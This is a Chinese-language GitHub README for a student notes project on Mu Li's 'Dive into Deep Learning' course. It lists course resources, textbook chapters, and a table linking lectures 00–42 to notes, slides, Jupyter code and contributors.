MLNLP-World/DeepLearning-MuLi-Notes	<p align="center"> <h1 align="center"> <img src="./imgs/icon/ai.png" width="30" />《动手学习深度学习》</h1> </p> <p align="center"> <a href="https://img.shields.io/badge/version-v0.1.0-blue"> <img alt="version" src="https://img.shields.io/badge/version-v0.1.0-blue?color=FF8000?color=009922" /> </a> <a > <img alt="Status-building" src="https://img.shields.io/badge/Status-building-blue" /> </a> <a > <img alt="PRs-Welcome" src="https://img.shields.io/badge/PRs-Welcome-red" /> </a> <a href="https://github.com/MLNLP-World/DeepLearning-MuLi-Notes/stargazers"> <img alt="stars" src="https://img.shields.io/github/stars/MLNLP-World/DeepLearning-MuLi-Notes" /> </a> <a href="https://github.com/MLNLP-World/DeepLearning-MuLi-Notes/network/members"> <img alt="FORK" src="https://img.shields.io/github/forks/MLNLP-World/DeepLearning-MuLi-Notes?color=FF8000" /> </a> <a href="https://github.com/MLNLP-World/DeepLearning-MuLi-Notes/issues"> <img alt="Issues" src="https://img.shields.io/github/issues/MLNLP-World/DeepLearning-MuLi-Notes?color=0088ff"/> </a> <br /> </p> <div align="center"> <p align="center"> <a href="#项目动机">项目动机</a>/ <a href="#课程简介">课程简介</a>/ <a href="#课程资源">课程资源</a>/ <a href="#教材目录">教材目录</a>/ <a href="#笔记">笔记</a>/ <a href="#文件夹说明">文件夹说明</a>/ <a href="#组织者">组织者</a>/ <a href="#贡献者">贡献者</a> </p> </div> --- ## <img src="./imgs/icon/motivation.png" width="25" /> 项目动机《动手学习深度学习》是李沐老师（AWS 资深首席科学家，美国卡内基梅隆大学计算机系博士）主讲的一系列深度学习视频。本项目收集了我们在寒假期间学习《动手学习深度学习》过程中详细的markdown笔记和相关的jupyter代码。赠人玫瑰，手留余香，我们将所有的markdown笔记开源，希望在自己学习的同时，也对大家学习掌握李沐老师的《动手学习深度学习》有所帮助。 >本项目的特色： >1. markdown笔记与原课程视频一一对应，可以帮助大家一边听课一边理解。 >2. jupyter代码均有详细中文注释，帮助大家更快上手实践。课程视频共73节，单个视频平均时长不超过30分钟，预计寒假40天内可以学习完毕。本项目所用徽章来自互联网，如侵犯了您的图片版权请联系我们删除，谢谢。 ## <img src="./imgs/icon/intro.png" width="25" /> 课程简介通常我们提到深度学习，常常会忘记深度学习只是机器学习的一小部分，而认为它是独立于机器学习的单独模块。这是因为机器学习作为一门历史更悠久的学科，在深度学习没有问世之前，在现实世界的应用范围很窄。在语音识别、计算机视觉、自然语言处理等领域，由于需要大量的领域知识并且现实情况异常复杂，机器学习往往只是解决这些领域问题方案中的一小部分。但是就在过去的几年里，深度学习的问世和应用给世界带来了惊喜，推动了计算机视觉、自然语言处理、自动语音识别、强化学习和统计建模等领域的快速发展，并逐渐引领潮流，在世界掀起了一波人工智能的革命。在《动手学习深度学习》课程中，既有少量的机器学习的基础知识，比如：__线性神经网络，多层感知机__ 等等；又有如今前沿应用的 __各种深度学习模型：包括leNet，ResNet，LSTM，BERT……__ 同时每一章节的讲解还配备由pytorch实现的代码、教科书等等，可以帮助同学在短期内掌握深度学习的基础模型与前沿知识和并提高实践能力。 ## <img src="./imgs/icon/resource.png" width="25" /> 课程资源 - B站教学网址：[动手学习深度学习（已完结）](https://space.bilibili.com/1567748478/channel/seriesdetail?sid=358497) - 教材网址：[《动手学深度学习》(中文版)](https://zh-v2.d2l.ai), [《Dive into Deep Learning》 0.17.1 documentation](https://d2l.ai) - 课程主页：[https://courses.d2l.ai/zh-v2/](https://courses.d2l.ai/zh-v2/) - 论坛网址：[discuss.d2l.ai](https://discuss.d2l.ai/c/chinese-version/16)，[discuss.pytorch](https://discuss.pytorch.org) 此外，本门课程还有相应的代码实现。每章都有相应的jupyter记事本，提供模型的完整python代码，所有的资源都可在网上免费获取。 ## <img src="./imgs/icon/catalogue.png" width="25" /> 教材目录 [《动手学深度学习》(中文版)](https://zh-v2.d2l.ai)和英文版[Dive into Deep Learning 0.17.1 documentation](https://d2l.ai)教材目录及章节链接如下： \| 章节 \| 中文版 \| 英文版 \| \| ---- \| ------------------------------------------------------------ \| ------------------------------------------------------------ \| \| 1 \| [前言](https://zh-v2.d2l.ai/chapter_introduction/index.html) \| [Introduction]((https://d2l.ai/chapter_introduction/index.html)) \| \| 2 \| [预备知识](https://zh-v2.d2l.ai/chapter_preliminaries/index.html) \| [Preliminaries](https://d2l.ai/chapter_preliminaries/index.html) \| \| 3 \| [线性神经网络](https://zh-v2.d2l.ai/chapter_linear-networks/index.html) \| [Linear Neural Networks](https://d2l.ai/chapter_linear-networks/index.html) \| \| 4 \| [多层感知机](https://zh-v2.d2l.ai/chapter_multilayer-perceptrons/index.html) \| [Multilayer Perceptrons](https://d2l.ai/chapter_multilayer-perceptrons/index.html) \| \| 5 \| [深度学习计算](https://zh-v2.d2l.ai/chapter_deep-learning-computation/index.html) \| [Deep Learning Computation](https://d2l.ai/chapter_deep-learning-computation/index.html) \| \| 6 \| [卷积神经网络](https://zh-v2.d2l.ai/chapter_convolutional-neural-networks/index.html) \| [Convolutional Neural Networks](https://d2l.ai/chapter_convolutional-neural-networks/index.html) \| \| 7 \| [现代卷积神经网络](https://zh-v2.d2l.ai/chapter_convolutional-modern/index.html) \| [Modern Convolutional Neural Networks](https://d2l.ai/chapter_convolutional-modern/index.html) \| \| 8 \| [循环神经网络](https://zh-v2.d2l.ai/chapter_recurrent-neural-networks/index.html) \| [Recurrent Neural Networks](https://d2l.ai/chapter_recurrent-neural-networks/index.html) \| \| 9 \| [现代循环神经网络](https://zh-v2.d2l.ai/chapter_recurrent-modern/index.html) \| [Modern Recurrent Neural Networks](https://d2l.ai/chapter_recurrent-modern/index.html) \| \| 10 \| [注意力机制](https://zh-v2.d2l.ai/chapter_attention-mechanisms/index.html) \| [Attention Mechanisms](https://d2l.ai/chapter_attention-mechanisms/index.html) \| \| 11 \| [优化算法](https://zh-v2.d2l.ai/chapter_optimization/index.html) \| [Optimization Algorithms](https://d2l.ai/chapter_optimization/index.html) \| \| 12 \| [计算性能](https://zh-v2.d2l.ai/chapter_computational-performance/index.html) \| [Computational Performance](https://d2l.ai/chapter_computational-performance/index.html) \| \| 13 \| [计算机视觉](https://zh-v2.d2l.ai/chapter_computer-vision/index.html) \| [Computer Vision](https://d2l.ai/chapter_computer-vision/index.html) \| \| 14 \| [自然语言处理：预训练](https://zh-v2.d2l.ai/chapter_natural-language-processing-pretraining/index.html) \| [Natural Language Processing: Pretraining](https://d2l.ai/chapter_natural-language-processing-pretraining/index.html) \| \| 15 \| [自然语言处理：应用](https://zh-v2.d2l.ai/chapter_natural-language-processing-applications/index.html) \| [Natural Language Processing Applications](https://d2l.ai/chapter_natural-language-processing-applications/index.html) \| \| 16 \| 推荐系统 \| [Recommender Systems](https://d2l.ai/chapter_recommender-systems/index.html) \| \| 17 \| 生成对抗网络 \| [Generative Adversarial Networks](https://d2l.ai/chapter_generative-adversarial-networks/index.html) \| \| 18 \| 附录：深度学习中的数学基础 \| [Appendix: Mathematics for Deep Learning](https://d2l.ai/chapter_appendix-mathematics-for-deep-learning/index.html) \| \| 19 \| [附录：深度学习工具](https://zh-v2.d2l.ai/chapter_appendix-tools-for-deep-learning/index.html) \| [Appendix: Tools for Deep Learning](https://d2l.ai/chapter_appendix-tools-for-deep-learning/index.html) \| ## <img src="./imgs/icon/notes.png" width="25" /> 笔记 \| 视频 \| 笔记 \| 讲义 \| 代码 \| 贡献者 \| \| :----------------------------------------------------------- \| :----------------------------------------------------------- \| ------------------------------------------------------------ \| :----------------------------------------------------------- \| :----------------------------------------------------------- \| \| <a href="https://www.bilibili.com/video/BV1if4y147hS?spm_id_from=333.999.0.0"> <img src="./imgs/cover/00.png" width="170" /></a> \| [00-预告](https://github.com/HIT-UG-Group/DeepLearning-MuLi-Notes/blob/main/notes/00-%E9%A2%84%E5%91%8A.md) \| [讲义](https://github.com/HIT-UG-Group/DeepLearning-MuLi-Notes/blob/main/notes/00-预告.md) \| \| <a href="https://github.com/Aleafy"> <img src="./imgs/profile/Ye_Fang.png" width="80" /></a> \| \| <a href="https://www.bilibili.com/video/BV1oX4y137bC?spm_id_from=333.999.0.0"> <img src="./imgs/cover/01.png" width="170" /></a> \| [01-课程安排](notes/01-%E8%AF%BE%E7%A8%8B%E5%AE%89%E6%8E%92.md) \| [讲义](https://courses.d2l.ai/zh-v2/assets/pdfs/part-0_1.pdf) \| \| <a href="https://github.com/Aleafy"> <img src="./imgs/profile/Ye_Fang.png" width="80" /></a> \| \| <a href="https://www.bilibili.com/video/BV1J54y187f9?spm_id_from=333.999.0.0"> <img src="./imgs/cover/02.png" width="170" /></a> \| [02-深度学习介绍](https://github.com/HIT-UG-Group/DeepLearning-MuLi-Notes/blob/main/notes/02-%E6%B7%B1%E5%BA%A6%E5%AD%A6%E4%B9%A0%E4%BB%8B%E7%BB%8D.md) \| [讲义](https://courses.d2l.ai/zh-v2/assets/pdfs/part-0_2.pdf) \| \| <a href="https://github.com/Aleafy"> <img src="./imgs/profile/Ye_Fang.png" width="80" /></a> <a href="https://github.com/kokolerk"><img src="./imgs/profile/JiaQi_Wang.png" width="80" /></a> \| \| <a href="https://www.bilibili.com/video/BV18p4y1h7Dr"> <img src="./imgs/cover/03.png" width="170" /></a> \| [03-安装](https://github.com/HIT-UG-Group/DeepLearning-MuLi-Notes/blob/main/notes/03-安装.md) \| [讲义](https://courses.d2l.ai/zh-v2/assets/pdfs/part-0_3.pdf) \| \| <a href="https://github.com/kinza99"> <img src="./imgs/profile/He_Du.png" width="80" /></a> <a href="https://github.com/chase6666"><img src="./imgs/profile/Kuo_Tian.png" width="80" /></a> \| \| <a href="https://www.bilibili.com/video/BV1CV411Y7i4?spm_id_from=333.999.0.0"> <img src="./imgs/cover/04.png" width="170" /></a> \| [04-数据操作和数据预处理](notes/04-%E6%95%B0%E6%8D%AE%E8%AF%BB%E5%8F%96%E5%92%8C%E6%93%8D%E4%BD%9C.md) \| [讲义](https://courses.d2l.ai/zh-v2/assets/pdfs/part-0_4.pdf) \| [Jupyter 代码](code/04-%E6%95%B0%E6%8D%AE%E8%AF%BB%E5%8F%96%E5%92%8C%E6%93%8D%E4%BD%9C) \| <a href="https://github.com/Atream"> <img src="./imgs/profile/BoXin_Zhang.png" width="80" /></a> <a href="https://github.com/benmagnifico"><img src="./imgs/profile/JingGuang_Li.png" width="80" /></a> \| \| <a href="https://www.bilibili.com/video/BV1eK4y1U7Qy?spm_id_from=333.999.0.0"> <img src="./imgs/cover/05.png" width="170" /></a> \| [05-线性代数](notes/05-%E7%BA%BF%E6%80%A7%E4%BB%A3%E6%95%B0.md) \| [讲义](https://courses.d2l.ai/zh-v2/assets/pdfs/part-0_5.pdf) \| \| <a href="https://github.com/dcy-dhsunabzh"> <img src="./imgs/profile/ChenYang_Ding.png" width="80" /></a> <a href="https://github.com/fghccv"><img src="./imgs/profile/ShiQi_Zhou.png" width="80" /></a> \| \| <a href="https://www.bilibili.com/video/BV1eZ4y1w7PY?spm_id_from=333.999.0.0"> <img src="./imgs/cover/06.png" width="170" /></a> \| [06-矩阵计算](notes/06-%E7%9F%A9%E9%98%B5%E8%AE%A1%E7%AE%97.md) \| [讲义](https://courses.d2l.ai/zh-v2/assets/pdfs/part-0_6.pdf) \| \| <a href="https://github.com/120L031815"> <img src="./imgs/profile/RuiChen_Yi.png" width="80" /></a> \| \| <a href="https://www.bilibili.com/video/BV1KA411N7Px?spm_id_from=333.999.0.0"> <img src="./imgs/cover/07.png" width="170" /></a> \| [07-链式法则和自动求导](https://github.com/HIT-UG-Group/DeepLearning-MuLi-Notes/blob/main/notes/07-%E8%87%AA%E5%8A%A8%E6%B1%82%E5%AF%BC.md) \| [讲义](https://courses.d2l.ai/zh-v2/assets/pdfs/part-0_7.pdf) \| [Jupyter 代码](code/07-%E8%87%AA%E5%8A%A8%E6%B1%82%E5%AF%BC.ipynb) \| <a href="https://github.com/Chigland"> <img src="./imgs/profile/ZhiTao_Wang.png" width="80" /></a> <a href="https://github.com/Khadorstorm"><img src="./imgs/profile/KeCheng_Zhang.png" width="80" /></a> \| \| <a href="https://www.bilibili.com/video/BV1PX4y1g7KC?spm_id_from=333.999.0.0"> <img src="./imgs/cover/08.png" width="170" /></a> \| [08-线性回归+基础优化算法](notes/08-线性回归+基础优化算法.md) \| [讲义1](https://courses.d2l.ai/zh-v2/assets/pdfs/part-0_8.pdf) [2](https://courses.d2l.ai/zh-v2/assets/pdfs/part-0_9.pdf) \| [Jupyter 代码](code/08-线性回归) \| <a href="https://github.com/kokolerk"><img src="./imgs/profile/JiaQi_Wang.png" width="80" /></a> \| \| <a href="https://www.bilibili.com/video/BV1K64y1Q7wu?spm_id_from=333.999.0.0"> <img src="./imgs/cover/09.png" width="170" /></a> \| [09-Softmax回归](notes/09-softmax回归.md) \| [讲义1](https://courses.d2l.ai/zh-v2/assets/pdfs/part-0_10.pdf) [2](https://courses.d2l.ai/zh-v2/assets/pdfs/part-0_11.pdf) \| [Jupyter 代码](code/09-Softmax回归) \| <a href="https://github.com/kinza99"> <img src="./imgs/profile/He_Du.png" width="80" /></a> <a href="https://github.com/chase6666"><img src="./imgs/profile/Kuo_Tian.png" width="80" /></a> \| \| <a href="https://www.bilibili.com/video/BV1hh411U7gn?spm_id_from=333.999.0.0"> <img src="./imgs/cover/10.png" width="170" /></a> \| [10-多层感知机](notes/10-%E5%A4%9A%E5%B1%82%E6%84%9F%E7%9F%A5%E6%9C%BA.md) \| [讲义1](https://courses.d2l.ai/zh-v2/assets/pdfs/part-0_12.pdf) [2](https://courses.d2l.ai/zh-v2/assets/pdfs/part-0_13.pdf) \| [Jupyter 代码](code/10-多层感知机) \| <a href="https://github.com/Atream"> <img src="./imgs/profile/BoXin_Zhang.png" width="80" /></a> <a href="https://github.com/benmagnifico"><img src="./imgs/profile/JingGuang_Li.png" width="80" /></a> \| \| <a href="https://www.bilibili.com/video/BV1kX4y1g7jp?spm_id_from=333.999.0.0"> <img src="./imgs/cover/11.png" width="170" /></a> \| [11-模型选择+过拟合和欠拟合](notes/11-模型选择+过拟合和欠拟合.md) \| [讲义1](https://courses.d2l.ai/zh-v2/assets/pdfs/part-0_14.pdf) [2](https://courses.d2l.ai/zh-v2/assets/pdfs/part-0_15.pdf) \| \| <a href="https://github.com/dcy-dhsunabzh"> <img src="./imgs/profile/ChenYang_Ding.png" width="80" /></a> <a href="https://github.com/fghccv"><img src="./imgs/profile/ShiQi_Zhou.png" width="80" /></a> \| \| <a href="https://www.bilibili.com/video/BV1UK4y1o7dy?spm_id_from=333.999.0.0"> <img src="./imgs/cover/12.png" width="170" /></a> \| [12-权重衰退](notes/12-权重衰退.md) \| [讲义](https://courses.d2l.ai/zh-v2/assets/pdfs/part-0_16.pdf) \| [Jupyter 代码](code/12-权重衰退.ipynb) \| <a href="https://github.com/Chigland"> <img src="./imgs/profile/ZhiTao_Wang.png" width="80" /></a> <a href="https://github.com/Khadorstorm"><img src="./imgs/profile/KeCheng_Zhang.png" width="80" /></a> \| \| <a href="https://www.bilibili.com/video/BV1Y5411c7aY?spm_id_from=333.999.0.0"> <img src="./imgs/cover/13.png" width="170" /></a> \| [13-丢弃法](notes/13-丢弃法.md) \| [讲义](https://courses.d2l.ai/zh-v2/assets/pdfs/part-0_17.pdf) \| [Jupyter 代码](code/13-丢弃法.ipynb) \| <a href="https://github.com/120L031815"> <img src="./imgs/profile/RuiChen_Yi.png" width="80" /></a> \| \| <a href="https://www.bilibili.com/video/BV1u64y1i75a?spm_id_from=333.999.0.0"> <img src="./imgs/cover/14.png" width="170" /></a> \| [14-数值稳定性](notes/14-数值稳定性.md) \| [讲义1](https://courses.d2l.ai/zh-v2/assets/pdfs/part-0_18.pdf) [2](https://courses.d2l.ai/zh-v2/assets/pdfs/part-0_19.pdf) \| \| <a href="https://github.com/Aleafy"> <img src="./imgs/profile/Ye_Fang.png" width="80" /></a> \| \| <a href="https://www.bilibili.com/video/BV1NK4y1P7Tu?spm_id_from=333.999.0.0"> <img src="./imgs/cover/15.png" width="170" /></a> \| [15-实战Kaggle预测房价](notes/15-实战Kaggle比赛：预测房价.md) \| [讲义](https://courses.d2l.ai/zh-v2/assets/pdfs/part-0_20.pdf) \| [Jupyter 代码](https://zh-v2.d2l.ai/chapter_multilayer-perceptrons/kaggle-house-price.html) \| <a href="https://github.com/kinza99"> <img src="./imgs/profile/He_Du.png" width="80" /></a> <a href="https://github.com/chase6666"><img src="./imgs/profile/Kuo_Tian.png" width="80" /></a> \| \| <a href="https://www.bilibili.com/video/BV1AK4y1P7vs?spm_id_from=333.999.0.0"> <img src="./imgs/cover/16.png" width="170" /></a> \| [16-Pytorch神经网络基础](notes/16-Pytorch神经网络基础.md) \| [讲义](https://zh-v2.d2l.ai/chapter_deep-learning-computation/model-construction.html) \| [Jupyter 代码](code/16-Pytorch神经网络基础) \| <a href="https://github.com/Atream"> <img src="./imgs/profile/BoXin_Zhang.png" width="80" /></a> <a href="https://github.com/benmagnifico"><img src="./imgs/profile/JingGuang_Li.png" width="80" /></a> \| \| <a href="https://www.bilibili.com/video/BV1z5411c7C1?spm_id_from=333.999.0.0"> <img src="./imgs/cover/17.png" width="170" /></a> \| [17-使用和购买GPU](notes/17-使用和购买GPU.md) \| [讲义](https://zh-v2.d2l.ai/chapter_deep-learning-computation/use-gpu.html) \| [Jupyter 代码](code/17-使用和购买GPU.ipynb) \| <a href="https://github.com/dcy-dhsunabzh"> <img src="./imgs/profile/ChenYang_Ding.png" width="80" /></a> <a href="https://github.com/fghccv"><img src="./imgs/profile/ShiQi_Zhou.png" width="80" /></a> \| \| <a href="https://www.bilibili.com/video/BV15Q4y1o7vc?spm_id_from=333.999.0.0"> <img src="./imgs/cover/18.png" width="170" /></a> \| [18-预测房价竞赛总结](notes/18-预测房价竞赛总结.md) \| [讲义](https://courses.d2l.ai/zh-v2/assets/pdfs/part-1_1.pdf) \| \| <a href="https://github.com/Chigland"> <img src="./imgs/profile/ZhiTao_Wang.png" width="80" /></a> <a href="https://github.com/Khadorstorm"><img src="./imgs/profile/KeCheng_Zhang.png" width="80" /></a> \| \| <a href="https://www.bilibili.com/video/BV1L64y1m7Nh?spm_id_from=333.999.0.0"> <img src="./imgs/cover/19.png" width="170" /></a> \| [19-卷积层](notes/19-卷积层.md) \| [讲义1](https://courses.d2l.ai/zh-v2/assets/pdfs/part-1_2.pdf) [2](https://courses.d2l.ai/zh-v2/assets/pdfs/part-1_3.pdf) \| [Jupyter 代码](code/19-卷积层.ipynb) \| <a href="https://github.com/120L031815"> <img src="./imgs/profile/RuiChen_Yi.png" width="80" /></a> \| \| <a href="https://www.bilibili.com/video/BV1Th411U7UN?spm_id_from=333.999.0.0"> <img src="./imgs/cover/20.png" width="170" /></a> \| [20-填充和步幅](notes/20-填充和步幅.md) \| [讲义](https://courses.d2l.ai/zh-v2/assets/pdfs/part-1_4.pdf) \| [Jupyter 代码](code/20-填充和步幅.ipynb) \| <a href="https://github.com/Aleafy"> <img src="./imgs/profile/Ye_Fang.png" width="80" /></a> \| \| <a href="https://www.bilibili.com/video/BV1MB4y1F7of?spm_id_from=333.999.0.0"> <img src="./imgs/cover/21.png" width="170" /></a> \| [21-多输入输出通道](notes/21-多输入输出通道.md) \| [讲义](https://courses.d2l.ai/zh-v2/assets/pdfs/part-1_5.pdf) \| [Jupyter 代码](code/21-多输入输出通道.ipynb) \| <a href="https://github.com/kinza99"> <img src="./imgs/profile/He_Du.png" width="80" /></a> <a href="https://github.com/chase6666"><img src="./imgs/profile/Kuo_Tian.png" width="80" /></a> \| \| <a href="https://www.bilibili.com/video/BV1EV411j7nX?spm_id_from=333.999.0.0"> <img src="./imgs/cover/22.png" width="170" /></a> \| [22-池化层](notes/22-池化层.md) \| [讲义](https://courses.d2l.ai/zh-v2/assets/pdfs/part-1_6.pdf) \| [Jupyter 代码](code/22-池化层.ipynb) \| <a href="https://github.com/Atream"> <img src="./imgs/profile/BoXin_Zhang.png" width="80" /></a> <a href="https://github.com/benmagnifico"><img src="./imgs/profile/JingGuang_Li.png" width="80" /></a> \| \| <a href="https://www.bilibili.com/video/BV1t44y1r7ct?spm_id_from=333.999.0.0"> <img src="./imgs/cover/23.png" width="170" /></a> \| [23-LeNet](notes/23-经典卷积神经网络LeNet.md) \| [讲义](https://courses.d2l.ai/zh-v2/assets/pdfs/part-1_7.pdf) \| [Jupyter 代码](code/23-LeNet.ipynb) \| <a href="https://github.com/dcy-dhsunabzh"> <img src="./imgs/profile/ChenYang_Ding.png" width="80" /></a> <a href="https://github.com/fghccv"><img src="./imgs/profile/ShiQi_Zhou.png" width="80" /></a> \| \| <a href="https://www.bilibili.com/video/BV1h54y1L7oe?spm_id_from=333.999.0.0"> <img src="./imgs/cover/24.png" width="170" /></a> \| [24-AlexNet](notes/24-AlexNet.md) \| [讲义](https://courses.d2l.ai/zh-v2/assets/pdfs/part-1_8.pdf) \| [Jupyter 代码](code/24-AlexNet.ipynb) \| <a href="https://github.com/kokolerk"><img src="./imgs/profile/JiaQi_Wang.png" width="80" /></a> \| \| <a href="https://www.bilibili.com/video/BV1Ao4y117Pd?spm_id_from=333.999.0.0"> <img src="./imgs/cover/25.png" width="170" /></a> \| [25-使用块的网络VGG](notes/25-使用块的网络VGG.md) \| [讲义](https://courses.d2l.ai/zh-v2/assets/pdfs/part-1_9.pdf) \| [Jupyter 代码](code/25-VGG.ipynb) \| <a href="https://github.com/Khadorstorm"><img src="./imgs/profile/KeCheng_Zhang.png" width="80" /></a> \| \| <a href="https://www.bilibili.com/video/BV1Uv411G71b?spm_id_from=333.999.0.0"> <img src="./imgs/cover/26.png" width="170" /></a> \| [26-NiN](notes/26-NiN.md) \| [讲义](https://courses.d2l.ai/zh-v2/assets/pdfs/part-1_10.pdf) \| [Jupyter 代码](code/26-NiN.ipynb) \| <a href="https://github.com/Aleafy"> <img src="./imgs/profile/Ye_Fang.png" width="80" /></a> \| \| <a href="https://www.bilibili.com/video/BV1b5411g7Xo?spm_id_from=333.999.0.0"> <img src="./imgs/cover/27.png" width="170" /></a> \| [27-GoogLeNet](notes/27-GoogLeNet.md) \| [讲义](https://courses.d2l.ai/zh-v2/assets/pdfs/part-1_11.pdf) \| [Jupyter 代码](code/27-googlenet.ipynb) \| <a href="https://github.com/kinza99"> <img src="./imgs/profile/He_Du.png" width="80" /></a> <a href="https://github.com/chase6666"><img src="./imgs/profile/Kuo_Tian.png" width="80" /></a> \| \| <a href="https://www.bilibili.com/video/BV1X44y1r77r?spm_id_from=333.999.0.0"> <img src="./imgs/cover/28.png" width="170" /></a> \| [28-批量归一化](notes/28-批量归一化.md) \| [讲义](https://courses.d2l.ai/zh-v2/assets/pdfs/part-1_12.pdf) \| [Jupyter 代码](code/28-批量归一化.ipynb) \| <a href="https://github.com/Atream"> <img src="./imgs/profile/BoXin_Zhang.png" width="80" /></a> <a href="https://github.com/benmagnifico"><img src="./imgs/profile/JingGuang_Li.png" width="80" /></a> \| \| <a href="https://www.bilibili.com/video/BV1bV41177ap?spm_id_from=333.999.0.0"> <img src="./imgs/cover/29.png" width="170" /></a> \| [29-残差网络ResNet](notes/29-残差网络ResNet.md) \| [讲义](https://courses.d2l.ai/zh-v2/assets/pdfs/part-1_13.pdf) \| \| <a href="https://github.com/dcy-dhsunabzh"> <img src="./imgs/profile/ChenYang_Ding.png" width="80" /></a> <a href="https://github.com/fghccv"><img src="./imgs/profile/ShiQi_Zhou.png" width="80" /></a> \| \| <a href="https://www.bilibili.com/video/BV1z64y1o7iz?spm_id_from=333.999.0.0"> <img src="./imgs/cover/30.png" width="170" /></a> \| [30-第二部分完结竞赛](notes/30-第二部分完结竞赛：图片分类.md) \| [讲义](https://courses.d2l.ai/zh-v2/assets/pdfs/part-1_14.pdf) \| \| <a href="https://github.com/Khadorstorm"><img src="./imgs/profile/KeCheng_Zhang.png" width="80" /></a> \| \| <a href="https://www.bilibili.com/video/BV1TU4y1j7Wd?spm_id_from=333.999.0.0"> <img src="./imgs/cover/31.png" width="170" /></a> \| [31-CPU和GPU](notes/31-CPU和GPU.md) \| [讲义](https://courses.d2l.ai/zh-v2/assets/pdfs/part-2_1.pdf) \| \| <a href="https://github.com/kinza99"> <img src="./imgs/profile/He_Du.png" width="80" /></a> <a href="https://github.com/chase6666"><img src="./imgs/profile/Kuo_Tian.png" width="80" /></a> \| \| <a href="https://www.bilibili.com/video/BV1VV41147PC?spm_id_from=333.999.0.0"> <img src="./imgs/cover/32.png" width="170" /></a> \| [32-深度学习硬件](notes/32-深度学习硬件.md) \| [讲义](https://courses.d2l.ai/zh-v2/assets/pdfs/part-2_2.pdf) \| \| <a href="https://github.com/kokolerk"><img src="./imgs/profile/JiaQi_Wang.png" width="80" /></a> \| \| <a href="https://www.bilibili.com/video/BV1vU4y1V7rd?spm_id_from=333.999.0.0"> <img src="./imgs/cover/33.png" width="170" /></a> \| [33-单机多卡并行](notes/33-单机多卡并行]) \| [讲义](https://courses.d2l.ai/zh-v2/assets/pdfs/part-2_3.pdf) \| \| <a href="https://github.com/Atream"> <img src="./imgs/profile/BoXin_Zhang.png" width="80" /></a> <a href="https://github.com/benmagnifico"><img src="./imgs/profile/JingGuang_Li.png" width="80" /></a> \| \| <a href="https://www.bilibili.com/video/BV1MQ4y1R7Qg?spm_id_from=333.999.0.0"> <img src="./imgs/cover/34.png" width="170" /></a> \| [34-多GPU训练实现](code/34-多GPU训练实现.ipynb) \| [讲义](https://zh-v2.d2l.ai/chapter_computational-performance/multiple-gpus-concise.html) \| [Jupyter 代码](code/34-多GPU训练实现.ipynb) \| <a href="https://github.com/Khadorstorm"><img src="./imgs/profile/KeCheng_Zhang.png" width="80" /></a> <a href="https://github.com/KingXHJ"><img src="./imgs/profile/LiZhong_Zhang.png" width="80" /></a> \| \| <a href="https://www.bilibili.com/video/BV1jU4y1G7iu?spm_id_from=333.999.0.0"> <img src="./imgs/cover/35.png" width="170" /></a> \| [35-分布式训练](notes/35-分布式训练.md) \| [讲义](https://courses.d2l.ai/zh-v2/assets/pdfs/part-2_4.pdf) \| \| <a href="https://github.com/dcy-dhsunabzh"> <img src="./imgs/profile/ChenYang_Ding.png" width="80" /></a> <a href="https://github.com/fghccv"><img src="./imgs/profile/ShiQi_Zhou.png" width="80" /></a> \| \| <a href="https://www.bilibili.com/video/BV17y4y1g76q?spm_id_from=333.999.0.0"> <img src="./imgs/cover/36.png" width="170" /></a> \| [36-数据增广](notes/36-数据增广.md) \| [讲义](https://courses.d2l.ai/zh-v2/assets/pdfs/part-2_5.pdf) \| [Jupyter 代码](code/36-数据增广.ipynb) \| <a href="https://github.com/Khadorstorm"><img src="./imgs/profile/KeCheng_Zhang.png" width="80" /></a> <a href="https://github.com/KingXHJ"><img src="./imgs/profile/LiZhong_Zhang.png" width="80" /></a> \| \| <a href="https://www.bilibili.com/video/BV1Sb4y1d7CR?spm_id_from=333.999.0.0"> <img src="./imgs/cover/37.png" width="170" /></a> \| [37-微调](notes/37-微调.md) \| [讲义](https://courses.d2l.ai/zh-v2/assets/pdfs/part-2_6.pdf) \| [Jupyter 代码](code/37-微调.ipynb) \| <a href="https://github.com/kinza99"> <img src="./imgs/profile/He_Du.png" width="80" /></a> <a href="https://github.com/chase6666"><img src="./imgs/profile/Kuo_Tian.png" width="80" /></a> \| \| <a href="https://www.bilibili.com/video/BV1Eb4y1C7Fn?spm_id_from=333.999.0.0"> <img src="./imgs/cover/38.png" width="170" /></a> \| [38-第二次竞赛树叶分类结果](notes/38-第二次竞赛树叶分类结果.md) \| [讲义]((notes/38-第二次竞赛树叶分类结果.md)) \| \| <a href="https://github.com/Atream"> <img src="./imgs/profile/BoXin_Zhang.png" width="80" /></a> \| \| <a href="https://www.bilibili.com/video/BV1Gy4y1M7Cu?spm_id_from=333.999.0.0"> <img src="./imgs/cover/39.png" width="170" /></a> \| [39-实战Kaggle比赛-1](notes/39-实战Kaggle竞赛：CIFAR-10.md) \| [讲义](https://zh-v2.d2l.ai/chapter_computer-vision/kaggle-cifar10.html) \| \| <a href="https://github.com/kinza99"> <img src="./imgs/profile/He_Du.png" width="80" /></a> <a href="https://github.com/chase6666"><img src="./imgs/profile/Kuo_Tian.png" width="80" /></a> \| \| <a href="https://www.bilibili.com/video/BV1j5411T7wx?spm_id_from=333.999.0.0"> <img src="./imgs/cover/40.png" width="170" /></a> \| [40-实战Kaggle比赛-2](code/40-实战Kaggle比赛：狗的品种识别.ipynb) \| [讲义](https://zh-v2.d2l.ai/chapter_computer-vision/kaggle-dog.html) \| [Jupyter 代码](code/40-实战Kaggle比赛：狗的品种识别.ipynb) \| <a href="https://github.com/Khadorstorm"><img src="./imgs/profile/KeCheng_Zhang.png" width="80" /></a> <a href="https://github.com/KingXHJ"><img src="./imgs/profile/LiZhong_Zhang.png" width="80" /></a> \| \| <a href="https://www.bilibili.com/video/BV1Lh411Y7LX?spm_id_from=333.999.0.0"> <img src="./imgs/cover/41.png" width="170" /></a> \| [41-物体检测和数据集](41-物体检测和数据集.md) \| [讲义](https://courses.d2l.ai/zh-v2/assets/pdfs/part-2_7.pdf) \| \| <a href="https://github.com/dcy-dhsunabzh"> <img src="./imgs/profile/ChenYang_Ding.png" width="80" /></a> <a href="https://github.com/fghccv"><img src="./imgs/profile/ShiQi_Zhou.png" width="80" /></a> \| \| <a href="https://www.bilibili.com/video/BV1aB4y1K7za?spm_id_from=333.999.0.0"> <img src="./imgs/cover/42.png" width="170" /></a> \| [42-锚框] \| [讲义](https://courses.d2l.ai/zh-v2/assets/pdfs/part-2_8.pdf) \| \| <a href="https://github.com/dcy-dhsunabzh"> <img src="./imgs/profile/ChenYang_Ding.png" width="80" /></a> <a href="https://github.com/fghccv"><img src="./imgs/profile/ShiQi_Zhou.png" width="80" /></a> \| 